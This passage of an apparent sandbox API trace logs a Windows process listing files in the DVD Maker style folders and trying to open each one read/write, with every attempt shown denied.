"c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.603] GetLastError () returned 0x5 [0180.604] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.604] GetLastError () returned 0x5 [0180.604] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.604] GetLastError () returned 0x5 [0180.604] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.605] GetLastError () returned 0x5 [0180.605] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.606] GetLastError () returned 0x5 [0180.606] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.606] GetLastError () returned 0x5 [0180.606] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.606] GetLastError () returned 0x5 [0180.606] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.607] GetLastError () returned 0x5 [0180.607] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.607] GetLastError () returned 0x5 [0180.607] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.608] GetLastError () returned 0x5 [0180.608] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.608] GetLastError () returned 0x5 [0180.608] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.609] GetLastError () returned 0x5 [0180.609] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.609] GetLastError () returned 0x5 [0180.609] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.609] GetLastError () returned 0x5 [0180.609] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.610] GetLastError () returned 0x5 [0180.610] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.610] GetLastError () returned 0x5 [0180.611] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.611] GetLastError () returned 0x5 [0180.611] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.611] GetLastError () returned 0x5 [0180.611] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.611] GetLastError () returned 0x5 [0180.611] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.612] GetLastError () returned 0x5 [0180.612] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.612] GetLastError () returned 0x5 [0180.612] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.612] GetLastError () returned 0x5 [0180.612] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.612] GetLastError () returned 0x5 [0180.612] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.613] GetLastError () returned 0x5 [0180.613] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.613] GetLastError () returned 0x5 [0180.613] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.614] GetProcessHeap () returned 0x990000 [0180.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ffc90 | out: hHeap=0x990000) returned 1 [0180.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.625] GetProcessHeap () returned 0x990000 [0180.625] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.625] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.625] GetLastError () returned 0x5 [0180.625] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.626] GetLastError () returned 0x5 [0180.626] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.626] GetLastError () returned 0x5 [0180.626] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.627] GetLastError () returned 0x5 [0180.627] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.628] GetLastError () returned 0x5 [0180.628] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.628] GetLastError () returned 0x5 [0180.628] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.628] GetLastError () returned 0x5 [0180.629] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.629] GetLastError () returned 0x5 [0180.629] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.630] GetLastError () returned 0x5 [0180.630] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.630] GetLastError () returned 0x5 [0180.631] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.631] GetLastError () returned 0x5 [0180.631] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.631] GetLastError () returned 0x5 [0180.631] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.631] GetLastError () returned 0x5 [0180.631] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.633] GetLastError () returned 0x5 [0180.633] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.633] GetLastError () returned 0x5 [0180.633] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.633] GetLastError () returned 0x5 [0180.633] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.633] GetLastError () returned 0x5 [0180.634] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.635] GetLastError () returned 0x5 [0180.635] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.635] GetLastError () returned 0x5 [0180.635] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.636] GetLastError () returned 0x5 [0180.636] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.636] GetLastError () returned 0x5 [0180.636] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.637] GetLastError () returned 0x5 [0180.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.638] GetLastError () returned 0x5 [0180.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.638] GetLastError () returned 0x5 [0180.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.638] GetLastError () returned 0x5 [0180.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.639] GetLastError () returned 0x5 [0180.639] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.640] GetProcessHeap () returned 0x990000 [0180.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03c78 | out: hHeap=0x990000) returned 1 [0180.640] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.640] GetLastError () returned 0x5 [0180.640] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.641] GetLastError () returned 0x5 [0180.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.641] GetLastError () returned 0x5 [0180.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.645] GetLastError () returned 0x5 [0180.645] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.645] GetLastError () returned 0x5 [0180.645] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.645] GetLastError () returned 0x5 [0180.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.648] GetProcessHeap () returned 0x990000 [0180.648] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.648] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.648] GetLastError () returned 0x5 [0180.648] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.649] GetLastError () returned 0x5 [0180.649] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 